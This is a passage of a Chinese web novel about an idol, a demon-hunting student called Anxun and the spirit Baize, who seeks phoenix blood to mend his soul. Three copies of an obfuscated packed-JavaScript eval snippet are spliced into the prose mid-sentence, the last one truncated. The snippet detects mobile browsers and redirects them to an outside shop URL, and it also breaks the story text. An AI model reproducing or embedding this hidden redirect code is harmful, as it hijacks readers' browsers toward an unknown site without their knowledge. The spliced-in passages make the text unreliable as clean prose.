月光透过窗户洒了进来,那人影从黑暗中走了出来,落在月光可照的范围,而他也终于看清了她的面容。 那是一张让他觉得熟悉又有些不敢确定的陌生的脸,脸白皙地好似在发光,被月光映照着,更显得洁白无暇,即便在满是尘埃的屋子里,也没有被弄脏半分。她的神情淡淡的,和他见到的前三次又不一样,有一种淡淡的疏离感,好似站在她面前的是一个完全没有任何交集的陌生人。 贺知舟顿觉挫败,这一刻,他真正意识到了自己和对方的差距,两个人完全就是两个世界的人,自己偶像的身份在她面前不值一提。 安随从兜里拿出一张纸巾递给他:“擦擦吧。” 贺知舟机械地接过,说了声谢谢。他擦了下脸,拿起一看便看到了上面的灰尘,竟将整张纸巾染黑了。他在她面前,此刻一定像极了小丑。 安随也抽出纸巾,将自己手上沾满的血迹擦干净,这才拿起地上的碎片往蛇尸方向走。 身后传来了脚步声,安随回过头看着他:“你不害怕?” 贺知舟壮着胆子问:“你都不害怕,我为何害怕?” “因为,我已经见惯了这样的场景,自然不害怕,你不一样。” 贺知舟被她说的话惊了一下:“什么意思?难道锦城已经被这种怪物侵占了?” “不止是锦城,整个华国,四处都出现了这种怪物,在人们看不到的地方。” “那官方知道这个事情吗?为什么我完全没有感觉?”贺知舟疑惑了,如果真的如白泽所说,华国都被这种怪物侵占,他不敢想象这里会变成怎样一副人间地狱,怎么可能还会像现在这般岁月静好? “他们自然知道,所以,你们才会没感觉啊。”安随说着,便已蹲下了身,从被斩首的蛇身开始往下慢慢地取皮。 贺知舟看不清楚她在干什么,只能听到“哗哗”的声音在黑暗里有节奏地响着,听得人毛骨悚然。 “你在干什么?” “取蛇皮。” “取蛇皮干什么?” “做战甲。” 贺知舟有些云里雾里,但想到刚才那么大的蛇身,取蛇皮恐怕得费好一番功夫,于是也找了块尖锐的花瓶碎片,蹲在安随旁边:“我帮你吧,要怎么弄?” 安随问他:“你看得清吗?” 贺知舟:“……” 他什么也看不见,只能看见个轮廓。 “帮我找个盆来。”安随吩咐道。 贺知舟依然摸索着去了厨房,不一会儿便取了个洗菜盆过来,便见安随将取下的蛇皮放在盆里,又端着去了厨房清洗。 不过一会儿的功夫,安随便见蛇皮取了下来,贺知舟不得不佩服她的速度,也意识到即便他看得见,也帮不上忙,反而会拖她的后腿。 挫败感再次袭来。 贺知舟从未觉得如此无力过。 贺知舟找了个手电,在废墟里寻找着还能用的东西,好在他的手机禁摔,还能用,客厅损坏严重,但他的天花板够高,天花板没被损坏,只一楼被损得七零八落,想要恢复原貌,倒比买一栋新的要节省多了。 电路系统被破坏,只能明天找人上门来修了。 但是解释这里为什么成了灾难现场又会费一番功夫。 安随似乎猜到了他的心思,说道:“我联系人,让她帮你找人来修。” “靠谱吗?”贺知舟有些疑惑。 “官方的人,自然靠谱。”说着,安随便给今越打了个电话,问她有没有和他们合作的装修工,毕竟这种事时有发生,得找个嘴严的才行。 今越当即就表示确实有长期合作的人,保证嘴严,还问她是哪个受害者遭殃了,安随看了眼贺知舟,淡淡道:“你偶像家。” 今越沉默了会儿,随后发出一阵尖叫声:“啊啊啊啊啊啊,是我的舟舟家吗?他怎么了?发生什么事了?你为什么不叫我?” 安随大概和她说了下,今越火急火燎地便要赶过来,拦都拦不住。 安随扶额叹气:“你粉丝要过来看你。” 贺知舟已经从电话里大致听到了些对话内容,只是没想到对方竟然是自己的粉丝,原来他的粉丝也有大佬啊? 联系完后,安随便找到了那颗蛇头,照着记忆中的样子,对着蛇的头顶轻轻一按,果然,那蛇头很快便化成了一道青烟,幻化出一颗妖核。那妖核比她以往看得都要大,想来这蛇妖的道行比之前的都要深。安随趁贺知舟没注意的时候将妖核揣进了兜里。 而后两人就在废墟里干坐着,等待着今越的到来。 中途为了打破沉寂,贺知舟问安随要喝水吗?安随回了一声“不用”,两人又陷入了沉默。 此刻两人难得能坐下来,贺知舟便忍不住问道:“能和我说说这个世界怎么了吗?为什么会有怪物入侵啊?” “不知。”三言两语说不清楚,懒得说。 “昨天你和警察来我家,也是因为调查怪物的事情吗?” “不是。”那个男人确实不是妖怪,是个能力者。 “你的朋友是我粉丝,是上次让你送香囊的那位吗?” “不是。”确实算不上朋友,是她的粉丝。 “你是我的粉丝吗?” “不是。”嗯?怎么话题扯到她身上了? “哦,好吧。”虽然早有预料,可真从她嘴里听到肯定的答复后,心里还是有些失落。如果不是,她今晚怎么会出现在这里?她怎么知道他有危险? 安随大概知道他想问什么,但是她为什么会看到他遇袭的画面,又为什么没多加思考便来救他,她也说不清楚,大概可能就是他们算是认识吧,她没办法眼睁睁看着一个她认识的人死在妖怪的手里。 “今天那个怪物说,它要我的身体,还有我的信仰之力,你知道信仰之力是什么吗?”贺知舟突然问。 信仰之力?安随一下子便来了精神:“你身上有信仰之力?它怎么知道?” “所以,你知道什么是信仰之力。”贺知舟幽幽地说。 安随:“……” 可恶,居然被他套话了。 安随耸了耸肩:“我也不是很清楚,但我知道有这个东西的存在,它大概源于你的粉丝对你的喜爱,但我从未在一个普通人身上听说过,所以,你是特殊的。” “这个东西有什么用啊?”贺知舟有些好奇。 这倒把安随难住了,她只知道白泽需要信仰之力,用来恢复真身,可在贺知舟身上能起到什么作用,她也不清楚。 “不知。” “好吧。”贺知舟也不再追问下去,他看出了有些事情白泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951550|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不想和他深入说,这也能理解,毕竟双方实力悬殊,本就不在一个频道上。 贺知舟没再追问后,安随也不主动开口,两个人就此陷入沉默。直到今越过来,才打破了这个局面。 “我的天呐!这怎么变成这个样子了?蛇妖呢?”今越一走进来便被眼前的景象惊住了,好在安随二人都相安无事,她这才放心下来。再看她的偶像,此刻正站在安随身后,像霜打的茄子一般,全然没有了往日在舞台上的意气风发,但是却多了一种柔弱感,让人忍不住想要蹂躏。 今越被自己的这一想法吓到了,连忙拍了拍脸,把这个可怕的想法赶走。 “舟舟,你没事吧?把妈妈吓坏了都呜呜呜呜,让妈妈看看。”说着便像贺知舟扑去,却被安随一把拉住了,“人看了,现在可以干正事了吧,赶紧找人过来修理。” “死鬼,那么着急干嘛?”今越拍了拍她的胸脯,但很快又恢复了正经,拿出手机便拨了个电话过去。 三两句过后便交待了经过,对方表示明天早上就过来重新装修。 挂断电话后,今越便让安随帮着清理蛇尸,将那尸体拿了个大麻袋装了起来,找遍了一楼,都没发现蛇头,今越便问:“你们把蛇头丢哪去了?” 安随还没说话,贺知舟却道:“被我扔出去喂流浪狗了。” “你们那么高档的别墅里还有流浪狗?”今越都呆了。 “嗯,之前有家主人搬走,没把狗带走,平常我们看见它也会拿点吃的给它。” “好吧。”今越听得更感动了,她粉的偶像就是最温柔的! “但是,那蛇头可是好东西啊。”今越一想到这里,便觉得他暴殄天物,那里可是有妖核啊,妖怪的核心都在里面,也不知道那流浪狗吃了以后会不会变成妖。 安随见状,也不再隐瞒,坦诚道:“那妖核被我取走,蛇头便消失了。” “哦哦,我就说嘛,不取妖核就太浪费了。这妖怪本就是你杀死的,你取走理所应当,我只是好奇地问了一句,没有其他意思。”今越解释道。 “没关系,我也不想骗你。”安随说着,便又转过身看着贺知舟,“只是我没想到你会给我瞒下这事,我本来以为你没有看到我的动作。” 贺知舟此刻也发觉自己刚才的举动有些多余了,不由苦笑道:“我没看到你的动作,只是发现怎么也找不到那颗头,所以才猜测是被你拿走了。” “那你为什么帮我隐瞒呢?”安随问道。 “不知道。”刚才只是一瞬间的脱口而出,根本就没有经过大脑思考,现在回想起来,贺知舟也难以理解那个时候的想法。 “这蛇皮我要了,妖核归你,蛇身归今越,一人一样,刚好。”安随说着便从兜里掏出那枚鸡蛋般大小的妖核递给贺知舟。 今越看见那么大的妖核,眼睛都直了:“喂,我怎么只有蛇身啊?精髓都在妖核身上好吧?而且他又不是能力者,你给他能干嘛?还不如你自己留着。” “拖回去做蛇羹,说不定还能涨点能力,谁说不是能力者,就不能拥有妖核了?万一呢?” 这东西蕴含了妖怪一身的修为,万一在危难时刻,吞下那枚妖核,还能涨点修为,给贺知舟刚好。何况,这个东西现在对她的作用已经没那么大了,她有了更需要的东西。 今越也只是过过嘴瘾,她本就来捡漏的,没出力,给谁都无所谓。 三人又坐在了一起闲聊了几句,见着时间已经不早了,第二天大家都有事,安随便和今越准备离开。离开时,却听得贺知舟在身后叫她:“白泽,我能加你们一个微信吗?” 见两人回过头来,贺知舟连忙补充道:“我怕以后又遇到这种事,找不到人求救。” “当然可以。”安随说着便把今越拉上前,“这位是特事局驻锦城办事处的队长今越,你有事可以直接叫她,他们无偿为你服务。我是业余的,找我得收钱。” “喂,你掉钱眼里了啊,他可是我偶像耶,你也要收费吗?”今越气哼哼地握紧了拳头。 “一视同仁。”安随面无表情道,“对了,今晚的出场费结一下,诚惠,1万块。” 贺知舟低着头,低沉的笑声怎么也压抑不住:“好,你先加我微信,我一会儿就给你转。” 贺知舟成功加上了两人的微信,却见备注里白泽写的是安随。 “以后,你就叫我安随吧,白泽是我的网名。” “好。” 58. 第 58 章 告别贺知州,安随两人出了别墅,回去的路上,今越说送她回去,安随没有拒绝,她现在还不想让其他人知道她身上发生的变化。毕竟穿墙瞬移这种事太魔幻了,今越要是知道,更得破防了,到时候又要吵着让她当这个队长,她不想给自己找些麻烦。 今越先是驱车送安随回了学校,这才返回办事处。而安随进了学校后,便找了个隐秘的地方,瞬移回了浴室。 她大概看了下,她出去一趟花了大概一个小时的时间,对于平常洗澡没那么久的安随来说,已经足够引起怀疑了。 安随又冲洗了下,洗掉了身上的血腥气,换了睡衣后,这才从浴室走了出来。宋知冉听到动静,抬头看了眼安随,随后“哇”了一声:“安安,你的皮肤好好哦,我都感觉在发光。” 她并没有问安随为什么洗那么久的事,毕竟先前安随身上的黑物太多了,多洗一下也正常。 “你这是洗髓伐经吗?我看那些修真小说上面都洗这样会洗掉身上的脏东西,你现在的状况就很像。”宋知冉一脸地好奇。 安随哪里知道是怎么回事?不过听宋知冉那么一说,倒真觉得有点像。 安随打个哈哈便把这事岔了过去,宋知冉也没再问,但她时不时地看向安随,总觉得现在的安随哪哪都不一样了,连她都快被迷花了眼。 怎么会有人一夜之间就会有那么大的变化呢?她昨晚到底经历了什么? 好想像她一样啊,能降妖除魔,守卫人间,想想就觉得有成就感。 如果,她能变成安安一样那么优秀就好了。 宋知冉不由地想。 临近期末,学校里风平浪静,没有半点被外界的纷扰所干扰,学生们都在备战期末,复习的时间也变得多了,安随也不例外。 她现在虽然拥有一身能力,但本质上还是个学生,自然要以学业为主。 连蒋栗呆在宿舍的时间也多了,但她神经大条,并没有发现安随身上明显的变化,只是觉得她变白了,还问她用了什么护肤品,推荐给她,安随哪里知道什么护肤品好用?正当不知道怎么回时,宋知冉出面替她解围。 “我把我的护肤品借安安用了一段时间,我推荐给你呀。” “好呀好呀。” 安随不由地笑了。 有的时候,什么都不知道,也是一种幸福。 这个世界正常运转着,偶尔会出现影响世界运转的卡顿,但都被特事局用特殊力量修复好了,每个人都在努力着,有的努力学习,有的努力生活,有的,努力保卫世界,维持这个世界的平衡。 就在这样微妙的平衡中,安随迎来了期末考试,这是她大学里的第一次期末考试,但她向来把学业看得很重,且大一的课程对她来说并不难,因此期末考试她发挥得还不错。 考完没几天,学校就发了放假通知,千呼万唤中,他们迎来了大学的第一个假期。 安随也收拾收拾东西准备回宁市。 宿舍的其他两个人也各自要回自己的老家,她们在宿舍道别,然后各自奔赴自己的假期。 临走前,安随去了办事处一趟,和今越几人道别。 今越似乎又接到什么棘手的案子,正抓耳挠腮,愁眉苦脸。 见安随进来,今越一把就拽住了她:“安安你来得正好,我们昨晚遇到了几个强大的妖怪,它们伪装成人类,根本分不清,如果不是检测仪探出来,就被他们蒙混过关了。” “他们是好是坏啊?犯了什么事?”安随不由问道。 “目前也没犯什么事,就是有天晚上跑到我们这来说要寄宿,被我们用检测仪检测出来了,然后它们就逃了,现在不知道逃到哪了,我怕它们混入人群,引起民众恐慌,毕竟检测仪不能在人群里一个一个地检测,万一它们在人群里犯什么事,等我们发现就晚了。” “有那几个妖怪的照片吗?” “有,那天它们从这逃出去的时候,监控拍下了它们的样子。”今越说着,便点开了监控,找到了那天的记录。 说来也奇怪,那天他们四个人都在办事处待着,半夜的时候,一行五个人穿着一身黑衣,与黑夜融在了一起,听到敲门声,正在睡梦中的孟博被敲门声吵起来开门,便见到了五个穿着纯黑衣服的人,外面下着雨,他们风尘仆仆,身上都被打湿了,见孟博开门,便问能在他们这寄宿一晚吗?孟博自然不会答应,但还是好心地把他们迎了进来。 而屋内的另外三人也醒了,他们似乎对半夜被吵醒已经习以为常,毕竟经常都会接到电话说哪里又又灵异现象发生,让他们去处理,但这还是头一次他们大晚上接待那么多人,因此也对这几人的身份感到好奇。 几人坐定后,五人这才给他们讲述他们的遭遇。 据说他们是逃难过来的,一路风雨兼程,好不容易才赶到了这里。 今越对他们的身份产生了一丝怀疑,现在全国各地并没有听说哪里有大灾难发生,而且即便发生灾难,国家也会第一时间出手援助,怎么会让他们逃难过来? 今越再次追问他们时,他们又改了个说辞,说是路过这里,寄宿一晚,明天早上就走。 这让今越更加怀疑了,于是让孟博拿检测仪过来给几人测一下,结果几人没见过检测仪,看见这个圆滚滚的东西有些好奇,其中一人好奇去摸了一下,结果检测仪立马发出了耀眼的蓝光,数值一路飙升到一万以上。刺眼的蓝光顿时让今越几人心都体提到了嗓子眼,但看那蓝光和显示数值,他们便知道他们不是这个妖怪的对手,何况它身边还有其他几人,而且在见到男人测后,他们也跟着测,依然是耀眼的蓝光,数值都在一万以上,只是从蓝光的耀眼程度来看,另外四个没有第一个强,但随便一个妖的数值都比他们的高。五个大妖,今越他们在面对它们时,寡不敌众,能力悬殊,今越并没有轻举妄动,而是和它们继续周旋。 它们似乎并不知道自己来到了人类特事局的办事处,在用了检测仪侧后,他们便问是不是可以进去休息了。 今越假意与几人周旋,用眼神示意孟博给特事局打电话,孟博会意,进了屋去给特事局报告,哪里知道外面的人却突然起身告辞,掉头就走。 在今越一脸懵逼中,五个大妖就像一场风,来了又走,整个过程不到半个小时的时间。 安随听完有些疑惑:“如果它们是大妖,来这里只是简单地想寄宿一晚吗?它们想干什么?” “我们也很纳闷,依照我们之前和妖怪打交道的经验,这些妖怪能力那么强,又到了人类世界,必然是要为祸人间的,我们和特事局报告后,他们也很重视,总算要给我们分配人手过来了,这次据说是二队的人过来,算算时间,他们也该到锦城了。” “二队?” 这不是老熟人吗? 安随听到风眠几人要过来的时候,还有些惊讶,他们一般很少在外面执行任务,都是被派往各地解决棘手的事情,就比如上次在李家村遇到的蛇妖。 那个时候的特事局才刚刚建起,能力者也不多,且力量不强,在面对能引发李家村地动的蛇妖时,自然束手无策,如果不是白泽出手,那次他们就全军覆没了。 说曹操,曹操到。 门外响起了敲门声,孟博去开门,不一会儿便将风尘仆仆的四人迎了进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954900|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领头的自然是戴着一副金边眼镜永远笑眯眯的风眠,他刚和几人打招呼,便在几人中见到了安随,笑容有一瞬间的凝固随后又恢复了。 “小妹妹,好久不见啊。” 招牌式的打招呼,身上还带着从外带进来的凉气,风眠穿着一身白色羊毛大衣,脚蹬一双马丁靴,身材高挑,一头栗色的卷发十分自然柔顺,整个人气质出众,犹如贵公子一般,安随明显感觉到了他的气质与之前不一样了。 安随:“你的力量变强了?” 风眠笑容顿了顿,随后无奈地笑了:“什么都瞒不过你的眼睛。” 和他一同来的还有谭岳和赵拓,陈默没来,另外一个人安随有点眼熟,看了下才想起来,是那天她在测试室遇到的那个老师,好像他的能力是瞬移。 风眠正式和今越几人介绍:“你们好,我是特事局作战第二小队队长风眠,这几位是我的队员,谭岳、赵拓、苏澜。” 今越也和几人介绍了一下这方的队友,在介绍到安随时,她半开玩笑道:“安随是我们的半个队员,平常有麻烦的事都找她帮忙。” “给她发工资吗?”风眠突然问道。 “啊?”今越没想到他突然那么问,一时不知道怎么回答。 风眠补充道:“你们不会想白嫖吧?她可是我妹妹。” 今越一时不知所措,她哪里知道他们有这层关系?而且她之前跟特事局提过,让她不用管,她就真的没管了,她也问过安随,她并不想打两份工,所以全凭她心愿。 安随哭笑不得:“你别逗她了,我可不想打两份工,这样挺好,我想来就来,不用受那么多的约束。” 风眠却不干了:“这样可不行,不能免费给特事局打工。” 毕竟,这可都是在尖刀上讨生活。 风眠当即就给刘仕诚打了个电话过去。 “刘局,安随不仅晚上要直播,还要帮着锦城办事处的人办案,你们不给她发两份工资吗?” 那头的刘仕诚一听,差点被气笑了:“臭小子,用得着你大早上给我打电话说这事?早在锦城上报的时候,我就跟财务说了,你别操心了。” “那就行,那刘局你继续忙啊,我挂了。” “等等,你们到锦城了吗?安随和你们在一起吗?” “到了,她在,怎么了?” “让她接电话,我和她说点事。” 风眠将电话给安随,安随一脸懵逼地接过,喊了声“刘叔叔”,惊得身后的今越下巴都差点掉了。 天呐,这又是什么她不知道的人脉! 安随走到角落接了电话,那头刘仕诚的声音变得严肃:“安随,锦城现在遇到的那几个妖怪比以往遇到的妖怪力量都要强,他们的数值已经爆表了,这样的妖怪必须密切监控起来,一旦发现它们祸乱人间,务必拼死守护。锦城办事处的人处理不了这事,风眠他们力量虽然比之前强了,但是那几个妖怪的力量不知道强到什么地步,目前来看,他们并没有作恶的想法,但不保证以后不会有,所以,请你务必帮忙注意,一旦有异动,立马出手。” 安随听了心里一震,刘仕诚比场上的所有人都看得透彻,他号称“人形检测仪”,能检测到能量波动,只是,远在京市的他,又是怎么知道锦城的这几个妖怪有没有作恶的想法呢? 当安随这么问的时候,刘仕诚难得地笑了,他的笑声非常沉静,几乎听不到:“安随,我的能量感知,并不需要和本人接触,我只要感知这个城市有没有危险就知道了。” 所以,这才是当初风眠他们几个人千里迢迢从京市赶到李家村的原因吧。 59. 第 59 章 远在京市的他,足不出户,便能感受到哪个城市有危险,驻市办事处的小队能不能处理,然后及时派人增援,这就是所谓“运筹帷幄之中,决胜千里之外”吧。 安随倒是没想到他的能力还能检测到整个城市的能量波动,怪不得妖怪入侵至今已有几个月,没有发生大规模的妖怪伤人事件,应该是早在发现这个城市有异动时,他们便派人去清理。 挂断电话后,安随回了房间,几人正凑在监控旁,查看那几个妖怪的长相,他们不苟言笑,看得十分认真,连安随进来也不知道。 过了会儿,风眠几人总算从监控中抽离出来,见安随在,便问道:“我们准备出去看看,你要和我们一起去吗?” 风眠默认安随是这里所有人里最厉害的存在,毕竟,在他被蛇妖一尾巴甩得昏迷了好多天时,安随用一根树枝就把对方灭了。如今他的能力虽然精进,但他在进步的同时,安随也在进步,他还不会托大到认为努力的只有自己。 安随记着刘仕诚的嘱托,便点头应了。 一行人跟着出去,寻找异常的能量波动。 但在一个人口两千多万的大城市里,想要寻找五个人实在太难了。而且这座城市能力者不少,潜伏的妖怪也不少,能量波动混杂,根本无从查起。 好在他们有今越,她的能力是触碰物体,便能回溯它的过去。起初她的回溯能力只针对人,但是通过练习后,她已经能对物体回溯过去了,回溯的时间也延长,现在已经能回溯到接触物体的前半个小时的事情,能看到的对象也从一个扩展到了三个。 这个能力无疑对他们的寻人是巨大的助力。 昨晚,那五个人是敲门进来的,今越便走到门口,手覆在门上,随后缓缓闭上眼。 她的脑海里最先出现的是风眠几人,随后是安随,然后才是昨晚的那五妖。 好在从昨晚到现在只有这三波来敲过门,否则还真不好找。 今越回溯过去,便看到那五妖来敲门的半个小时前,是从黑夜里直接走出来的。路灯发出微弱的灯光,冷风吹着树枝在夜空下摇曳着,那五妖好似突然就从黑夜里走了出来,而那片黑夜里,明明只是一片空地,什么也没有,它们就像凭空出现的一样。 再往前,今越便看到它们走在一片昏暗中,天空泛着血色,路边的花朵长成猩红色,鲜艳地好似在滴血,小路两旁的树枝长牙舞爪地伸展着,有些已经伸到了五妖跟前,但它们小心避让着,不让自己接触到树枝。 压抑的颜色让今越呼吸一下子变得急促,再也承受不住从回溯中抽离出来。 今越大口大口地喘气,一旁的几人关切地看着她:“怎么了?你看到什么了?” 过了会儿今越才缓过来,只是想到那画面,还是觉得心有余悸。 “我看到一片昏暗的天空和血色,他们行走在小路上,行色匆匆,似乎真的在赶路。” “能看出是哪里吗?” 今越摇头:“看不出来,不过那里没有城市的痕迹,估计是哪个小山村。” “只是,那个时候是晚上,怎么会有昏暗的天空呢?难道有时差?”风眠沉吟道。 “他们是从哪个小山村跑过来的?为什么直接就到了我们门口啊?”孟博一脸不解。 “大概它们也有瞬移能力吧,但昨晚它们风尘仆仆,似乎确实赶了很多路,不像瞬移过来的。”肖楚道。 几人七嘴八舌地讨论着,安随没有参与他们的讨论,但她大概能猜出来今越描述的地方属于妖界,它们从妖界过来,穿过屏障到了锦城办事处的门口,也就是说,这里很有可能有人界与妖界的通道。 如果真是这样,这里便不会太平了。 她不知道他们是否知道妖界的存在,因此不敢透露太多,但这里不安全已然是事实,安随随后便道:“这里已经不太平了,想办法搬走吧。” “搬?搬到哪去?”今越不解,“这是栋居民楼,我们若是搬走,首当其冲便是这里住的居民。” “让他们都搬走呢?”安随说完也觉得自己说的不现实,这里的居民都在这住了几十年了,让他们搬走谈何容易,何况以什么理由说服他们搬走呢? 为今之计只有继续加强防范,尤其是那五个大妖出现的地方,多安几个摄像头,让人24小时盯着,这是最笨也是最稳妥的方法。 办事处的几人晚上只要听着有电话响有人接就行了,如今却加了一项4人轮班守着监控,一旦发现异动立即汇报。虽然加了很多工作量,却没有一个人有怨言。 最后他们决定留下肖楚和冯飞两人,剩下的人分头行动,寻找可疑的人员。 人多力量大,且每个人身负特殊能力,可谓事半功倍。 安随推迟了回去的时间,在他们没找到那五个大妖的藏身之处时,她不放心就此离开,何况她答应了刘仕诚,自然不会食言。 安随凝神,将自己的视线放远,方圆二十公里的场景,犹如放电影一般一一映入眼帘。 正是上班时间,写字楼里无数忙碌的身影;街道上车水马龙,来往行人行色匆匆;熊猫基地里排成一长串的人群,只为等着看女明星一眼;露天音乐节,歌手在台上唱着激昂的摇滚,台下的人嘶声尖叫…… 一幕幕的画面,从刚开始静默的画面,到最后犹如一壶渐渐煮沸的开水,声音咕嘟咕嘟地全冒了出来。 这,就是她所生活的城市,繁华而又不失人情味。 画面在一处定格,安随终于发现了五个可疑的身影。 只见它们在一处学校门口徘徊着,不时朝里张望,门口的保安看了它们好几眼,密切地关注着它们的动作。它们身后,赫然写着C大的名字。 它们去C大干什么? 安随起了疑心,但此刻其他人并没走远,她也不敢直接瞬移过去,于是她选择继续观察它们的一举一动。 过了会儿,它们似乎确定了什么,又扭头离开了。安随跟随着它们的行动轨迹继续观察。 它们来到一处隐蔽的角落,其中一人四下张望了一眼,随后从怀里掏出了一个骨哨轻声吹了一下。 骨哨发出的声音有些沉闷,五妖在原地等了一会儿,最后从一个角落里钻出了一只硕大的老鼠,赫然是吱吱。 安随瞳孔微缩,似乎没料到这五妖和吱吱认识。 多日不见,吱吱的身形显得更加肥大了,若不走近了看,还以为是只灰色的小狗。 吱吱见到五妖似乎很激动,抱着其中一妖的大腿道:“大哥二哥三哥四哥五哥,你们终于来找我了,呜呜呜呜。” “都多大了,怎么还哭鼻子?”被叫大哥的妖抹了抹吱吱脸上的泪水,看到它哭得那么惨,心里也有些发酸。 它们一路经历了太多,好不容易才到了人界,虽然没有找到大王,但和吱吱碰了头,也没那么慌张了。 “和我说说你们在人界的遭遇吧,你们找到大王了吗?” 吱吱抹了抹眼泪,平息了会儿才道:“嗯嗯,我们找到了,不过大王现在寄住在一个人类女孩的身体里,不方便和我们沟通。” “人类女孩?靠谱吗?”大哥皱眉,他们尊贵的大王,没想到有一天居然沦落到寄住在一个人类身体里。这一切都怪那妖王,若不是它突然发动政变,妖界怎么会变成如今这副模样? 没有了白泽的守护,妖界的天空也变得灰暗,几万年来的晴空一去不复返。人妖两界屏障被破,大量灵气溢入人界,妖界已经不适合修行,因此更多的妖怪逃离妖界,只为寻找一条活路。可妖王却觉得那些妖怪的叛逃是在挑战他的权威,派了大量妖卫围剿叛逃的妖怪,它们几人因为实力强劲,那些妖卫不是它们的对手,因此不敢轻举妄动,选择实力低微的小妖下手,无数生灵死在了妖王的暴虐之下。 五妖看得红了眼眶,去找妖王报仇,哪里知道那妖王手里似乎有什么法宝,专克它们,它们身负重伤,好不容易从妖卫手里逃脱,养好伤势后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安随瞬移到了那几只妖所在的角落,那里空无一物,只有一堵围墙,但见识了刚才的那一手,安随猜它们还在这,于是喊道:“吱吱。” 吱吱在见到安随的那一刻便激动地和五妖说道:“她就是我说的女孩,大王就住在她的身体里!” 四哥连忙撤去了结界,露出了几妖的身形。 吱吱一把抱住安随的大腿,却被白泽一脸嫌弃地抖了抖腿,吱吱顺势便被他甩了出去。 “别动手动脚。”是个非常冷漠的女声。 吱吱一听更加激动了。在白泽说话的瞬间,吱吱便察觉到了她身上浓烈的白泽气息,它的大王回来了! “大王,是您吗?”吱吱激动地喊道。 四哥见状连忙再次将一人六妖罩在了结界之下。 “别叫我大王,又不是土匪头子,叫我神君吧。”白泽道。 “神君大人,您真的复活了吗?”大哥有些激动,毕竟当初白泽陨落的消息早就传开了,在亲眼见到白泽庙被妖卫拆除时,它们已经猜测这个消息是真的,因为白泽庙里供奉着白泽的神像,如果他还在,绝不可能允许这么做的。 “还没有,我的灵魂还差最后一点才能修复,但一直修复不了,我怀疑封肆藏了我一块灵魂碎片。”白泽皱眉道。 封肆便是现任妖王。 “封肆这厮生性多疑,不相信身边的任何妖,像是它能做出来的事。”大哥一提到封肆,脑海里便出现了那群小妖在妖卫的屠杀下毫无抵抗力,纷纷倒了下去。那个时候的它,无比痛恨自己身负重伤,只能眼睁睁地看着这一切发生。 大哥痛苦地闭上眼,好一会儿才深吸一口气,缓缓睁开眼。 “那它会藏到哪里呢?没有了灵魂碎片,神君大人就无法恢复真身,除了您,再也没有谁能与封肆抗衡了。”二哥不解。 “还有一个办法。”一直沉默的五哥突然道。 “什么办法?” “凤凰血能修复灵魂。” 大哥听了眉头皱得更紧了:“但凤凰一族战斗力不强,且本就稀少,早已在妖卫的追杀下所剩无几,如今更是不知道沦落到哪去了。” “我知道。”白泽突然说道。 六妖一脸惊愕地看着他。 60. 第 60 章 此时,正躺在安随宿舍阳台上睡大觉的小凤凰只觉得一阵冷风吹来,把它冻醒了。 外面阳光明媚,却还是觉得冷。 经过这段时间的恢复,小凤凰身上的毛发已经长了些起来,但还很浅,看着毛茸茸的,很好摸。 安随早上走的时候和它打了声招呼,她要回老家,但走之前得和办事处的人打声招呼,让它先在宿舍里等着。安随每次去哪都要和它说一声,带上它不方便,但又怕它担心。 小凤凰没什么意见,它知道这里和它刚到的时候呆的小山村不一样,这里人多,建筑也多,带上它有诸多不便,它都能理解。反正它待在宿舍,也会有人照顾,偶尔无聊的时候到楼下去转转,因为它长得和鸟很像,也不会引人怀疑。它觉得这样挺好,安宁、平静,不会担心被追杀,不用成天过提心吊胆的日子。 小凤凰伸了个懒腰,准备出去觅食。门却在这个时候打开了,安随走了进来。 见到安随的那一刻,小凤凰便扑了过去。 “大王大王!你回来了!” 白泽面无表情地推开了它:“站好了。” “唔——大王还是那么无情。”小凤凰可怜兮兮地挤出两滴眼泪,见白泽不为所动,这才收了回去。 “您今天怎么那么早回来啊?不是要在那边多呆一会儿吗?”小凤凰好奇道。 白泽看着眼前还没他小腿高的小凤凰,突然有些怀疑老五说的话了,这么小的东西,它的血真的能帮他修补灵魂吗? “你是凤凰?”白泽确认道。 “是啊是啊,大王为什么突然这么问啊?” “你的血能修补灵魂?”白泽又问。 小凤凰突然觉得脖子凉凉的,两个翅膀往里收了收,将自己挤成一团。 “我不知道,没听族人提过。” 白泽见它真不知道,也不好再多问,只是眼睛仍审视着它,似乎在思考从哪里下手。 小凤凰被他盯得浑身发毛,抖了抖身上的浅毛,过了会儿才鼓起勇气道:“老大是想要用我的血修补灵魂吗?虽然我不知道有没有用,但可以试一试。” 白泽想起老五说的话。 “凤凰涅槃时洒落的血能修补灵魂,那个时候的凤凰血最热烈滚烫,修补的效果最佳。” 白泽再次看了看小凤凰的小身板,随即摇了摇头。 它还是个幼崽,他没办法对一个幼崽下手。 修补灵魂的方法肯定不止这一种。 此时,在角落里的安随突然道:“它还是个孩子,你下得去手?” 白泽:“……我不是没对它下手吗?” “但你刚刚犹豫了,犹豫就说明你有那个想法。” 白泽:“无理取闹。” “你这是恼羞成怒了。” 白泽:“……” 算了,懒得和她计较。 “身体还给你,我自己会再想办法。” 